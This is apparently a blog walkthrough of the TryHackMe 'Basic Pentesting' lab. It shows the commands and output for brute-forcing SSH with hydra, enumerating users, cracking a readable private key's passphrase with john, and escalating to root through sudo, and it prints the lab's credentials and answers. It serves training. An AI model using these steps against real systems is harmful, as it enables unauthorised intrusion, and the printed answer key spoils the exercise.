Basic Pentesting

shadowmaster
9 min readJul 9, 2021

This is a machine that allows you to practise web app hacking and privilege escalation….

Task 1 : Web App Testing and Privilege Escalation

In these set of tasks you’ll learn the following:

  • brute forcing
  • hash cracking
  • service enumeration
  • Linux Enumeration

The main goal here is to learn as much as possible. Make sure you are connected to our network using your OpenVPN configuration file.
Credits to Josiah Pierce from Vulnhub.

Q. Deploy the machine and connect to our network
Ans : No Answer Needed

Explained

Start machine and connect to try hack me using openvpn or use attack box

Q. Find the services exposed by the machine
Ans : No Answer Needed

Explained

(hint) use an nmap scan to look for the open ports
Scan using nmap
. nmap -sS 10.10.68.15 (-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans)
. nmap -A 10.10.68.15
(-A: Enable OS detection, version detection, script scanning, and traceroute )
. nmap -p- 10.10.68.15( -p <port ranges>: Only scan specified ports )
. nmap -T4 10.10.68.15(
-T<0–5>: Set timing template (higher is faster))

Q. What is the name of the hidden directory on the web server(enter name without /)?
(hint: use dirsearch/dirbuster to find the hidden directories.)
Ans: development

Explained

here the solution can be find by 2 methods

Method 1

Use nmap for scaning

┌──(root💀kali)-[/home/blackhat]
└─# nmap -p80 — script http-enum 10.10.68.15
Starting Nmap 7.91 ( https://nmap.org ) at 2021–06–09 07:44 IST
Nmap scan report for 10.10.68.15
Host is up (0.19s latency).

PORT STATE SERVICE
80/tcp open http
| http-enum:
|_ /development/: Potentially interesting directory w/ listing on ‘apache/2.4.18 (ubuntu)’

Nmap done: 1 IP address (1 host up) scanned in 20.39 seconds

Method 2

Use the gobuster for finding the directories and files in web sites.

┌──(root💀kali)-[/home/blackhat]
└─# gobuster dir -u http://10.10.68.15/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.68.15/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/06/09 07:52:01 Starting gobuster in directory enumeration mode
===============================================================
/development (Status: 301) [Size: 316] [ → http://10.10.68.15/development/]
Progress: 685 / 220561 (0.31%) Progress: 705 / 220561 (0.32%)

Q. User brute-forcing to find the username & password.
Ans: No Ans Needed

Explained

Here we use enum4linux -a 10.10.155.54 command

┌──(root💀kali)-[/home/blackhat]
└─# enum4linux -a 10.10.155.54

Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Jul 4 05:38:35 2021

==========================
| Target Information |
==========================
Target ……….. 10.10.155.54
RID Range …….. 500–550,1000–1050
Username ……… ‘’
Password ……… ‘’
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

==================================================================
| Users on 10.10.155.54 via RID cycling (RIDS: 500–550,1000–1050
==================================================================

[I] Found new SID: S-1–22–1
[I] Found new SID: S-1–5–21–2853212168–2008227510–3551253869
[I] Found new SID: S-1–5–32
[+] Enumerating users using SID S-1–22–1 and logon username ‘’, pas
S-1–22–1–1000 Unix User\kay (Local User)
S-1–22–1–1001 Unix User\jan (Local User)

[+] Enumerating users using SID S-1–5–32 and logon username ‘’, pas
S-1–5–32–500 *unknown*\*unknown* (8)
S-1–5–32–501 *unknown*\*unknown* (8)
S-1–5–32–502 *unknown*\*unknown* (8)
S-1–5–32–503 *unknown*\*unknown* (8)
S-1–5–32–504 *unknown*\*unknown* (8)
S-1–5–32–505 *unknown*\*unknown* (8)
S-1–5–32–506 *unknown*\*unknown* (8)
^CS-1–5–32–507 *unknown*\*unknown* (8)

Q. What is the username?
Ans: jan

[I] Found new SID: S-1–22–1
[I] Found new SID: S-1–5–21–2853212168–2008227510–3551253869
[I] Found new SID: S-1–5–32
[+] Enumerating users using SID S-1–22–1 and logon username ‘’, pas
S-1–22–1–1000 Unix User\kay (Local User)
S-1–22–1–1001 Unix User\jan (Local User)

Q. What is the password?
Ans: armando

EXPLAINED

Here we use hydra
hydra -l jan -P /directory_path/rockyou.txt ssh://ip -t 4

Use the command given above the image

Q. What is the password?
Ans: armando

┌──(root💀kali)-[/home/blackhat]
└─# hydra -l jan -P /home/blackhat/Desktop/rockyou.txt
ssh://10.10.178.171 -t 4s
Hydra v9.1 © 2020 by van Hauser/THC & David Maciejak — Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021–07–10 01:03:23
[WARNING] Restorefile (you have 10 seconds to abort… (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344398 login tries (l:1/p:14344398), ~3586100 tries per task
[DATA] attacking ssh://10.10.178.171:22/
[STATUS] 41.00 tries/min, 41 tries in 00:01h, 14344357 to do in 5831:03h, 4 active
[STATUS] 28.00 tries/min, 84 tries in 00:03h, 14344314 to do in 8538:17h, 4 active
[STATUS] 29.00 tries/min, 203 tries in 00:07h, 14344195 to do in 8243:48h, 4 active
[STATUS] 27.07 tries/min, 406 tries in 00:15h, 14343992 to do in 8832:31h, 4 active
[22][ssh] host: 10.10.178.171 login: jan password: armando
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021–07–10 01:32:36

Q. What service do you use to access the server(answer in abbreviation in all caps)?
Ans: SSH

┌──(root💀kali)-[/home/blackhat/Desktop]
└─# ssh jan@10.10.160.185

The authenticity of host ‘10.10.160.185 (10.10.160.185)’ can’t be established.
ECDSA key fingerprint is SHA256:+Fk53V/LB+2pn4OPL7GN/DuVHVvO0lT9N4W5ifchySQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added ‘10.10.160.185’ (ECDSA) to the list of known hosts.
jan@10.10.160.185’s password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0–119-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management:
https://landscape.canonical.com
* Support:
https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Apr 23 15:55:45 2018 from 192.168.56.102
jan@basic2:~$

Q. Enumerate the machine to find any vectors for privilege escalation
Ans: No ans needed

hint : use a privilege escalation checklist or tool like LinEnum

Q. What is the name of the other user you found(all lower case)?

Ans: Kay

Explained:

┌──(root💀kali)-[/home/blackhat]
└─# enum4linux -a 10.10.155.54

Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Jul 4 05:38:35 2021

==========================
| Target Information |
==========================
Target ……….. 10.10.155.54
RID Range …….. 500–550,1000–1050
Username ……… ‘’
Password ……… ‘’
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

==================================================================
| Users on 10.10.155.54 via RID cycling (RIDS: 500–550,1000–1050
==================================================================

[I] Found new SID: S-1–22–1
[I] Found new SID: S-1–5–21–2853212168–2008227510–3551253869
[I] Found new SID: S-1–5–32
[+] Enumerating users using SID S-1–22–1 and logon username ‘’, pas
S-1–22–1–1000 Unix User\kay (Local User)
S-1–22–1–1001 Unix User\jan (Local User)

Q. If you have found another user, what can you do with this information?
hint: apart from a password, how else can a user access a machine?

Ans: No ans needed

After getting the user name and password

follow the steps

step1: use ssh connection to jan
ssh jan@ <ip>

┌──(root💀kali)-[/home/blackhat]
└─# ssh jan@10.10.98.3

Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type ‘yes’, ‘no’ or the fingerprint: yes
Warning: Permanently added ‘10.10.98.3’ (ECDSA) to the list of known hosts.
jan@10.10.98.3’s password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0–119-generic x86_64)
Last login: Mon Apr 23 15:55:45 2018 from 192.168.56.102
jan@basic2:~$

Step 2 : Afer logging in
try ls command
or try cd .. and go to find the directories jan and kay
after finding the directories jan and kay

note the command

jan@basic2:~$
jan@basic2:~$
jan@basic2:~$ ls
jan@basic2:~$ cd ..
jan@basic2:/home$ ls
jan kay
jan@basic2:/home$ cd jan/
jan@basic2:~$ ls
jan@basic2:~$ cd ..
jan@basic2:/home$ cd kay/
jan@basic2:/home/kay$ ls
pass.bak
jan@basic2:/home/kay$ cat pass.bak
cat: pass.bak: Permission denied
jan@basic2:/home/kay$

here we couldnt ready the pass.bak file

then now use the command ls -al
jan@basic2:/home/kay$ ls -al
total 48
drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .
drwxr-xr-x 4 root root 4096 Apr 19 2018 ..

-rw — — — — 1 kay kay 756 Apr 23 2018 .bash_history
-rw-r — r — 1 kay kay 220 Apr 17 2018 .bash_logout
-rw-r — r — 1 kay kay 3771 Apr 17 2018 .bashrc
drwx — — — 2 kay kay 4096 Apr 17 2018 .cache
-rw — — — — 1 root kay 119 Apr 23 2018 .lesshst
drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .nano
-rw — — — — 1 kay kay 57 Apr 23 2018 pass.bak
-rw-r — r — 1 kay kay 655 Apr 17 2018 .profile
drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh
-rw-r — r — 1 kay kay 0 Apr 17 2018 .sudo_as_admin_successful
-rw — — — — 1 root kay 538 Apr 23 2018 .viminfo

Note here we use the .ssh file is to

here we take this ssh file because we have to check the permissions, that is chmod 777 it is to confirm that the file is accessed by the others, thats why we choose .ssh because it has execute permission for others.

Result

jan@basic2:/home/kay$ cd .ssh
jan@basic2:/home/kay/.ssh$ ls
authorized_keys , id_rsa , id_rsa.pub

here use cat command for viewing the content

jan@basic2:/home/kay/.ssh$ cat id_rsa
— — -BEGIN RSA PRIVATE KEY — — -
Proc-Type: 4,EN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qO2zNxFvpuXthY
— — -END RSA PRIVATE KEY — — -

Now save the content in a file using nano command or by direct saving method.

Then lets use john the ripper
Now run ssh2john tool to get the hash of the keys.

python /usr/share/john/ssh2john.py key>key1.txt

┌──(root💀kali)-[/home/blackhat]
└─# python /usr/share/john/ssh2john.py key>key1.txt

here my file is key. and then follow this command.

Now run John the ripper tool to crack the passphrase for the account of Kay.

john — wordlist=rockyou.txt sshkeyshash.txt

┌──(root💀kali)-[/home/blackhat]
└─# john — wordlist=rockyou.txt key1.txt

Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press ‘q’ or Ctrl-C to abort, almost any other key for status
beeswax (key)
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:06 DONE (2021–07–10 07:47) 0.1605g/s 2302Kp/s 2302Kc/s 2302KC/s *7¡Vamos!
Session completed

here beeswax is the password for kay

now use the command ssh -i /home/kay/.ssh/id_rsa kay@10.10.98.3

jan@basic2:/home/kay/.ssh$ ssh -i /home/kay/.ssh/id_rsa kay@10.10.98.3
Could not create directory ‘/home/jan/.ssh’.
The authenticity of host ‘10.10.98.3 (10.10.98.3)’ can’t be established.
ECDSA key fingerprint is SHA256:+Fk53V/LB+2pn4OPL7GN/DuVHVvO0lT9N4W5ifchySQ.
Are you sure you want to continue connecting (yes/no)? y
Please type ‘yes’ or ‘no’: yes
Failed to add the host to the list of known hosts (/home/jan/.ssh/known_hosts).
Enter passphrase for key ‘/home/kay/.ssh/id_rsa’:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0–119-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$

Q. What is the final password you obtain?
Ans: heresareallystrongpasswordthatfollowsthepasswordpolicy$$

Explained

kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
kay@basic2:~$

We have finally got the password and here the challenge is completed.

Lets try to escalate privilege from kay’s account. First of all we have to check what privileges Kay have by using command:

command : sudo -l

Result shows kay have all of the sudo privileges, so we try to execute command: sudo su

finally got the flag using cat command .

Yaahooo we have comapleted the Basic pentesting.

Thanks to my guru
Sarath g

--

--

shadowmaster

Student Of Sarath G. I am a Cyber Security Trainer & Ethical Hacker. Thanks to My Guru.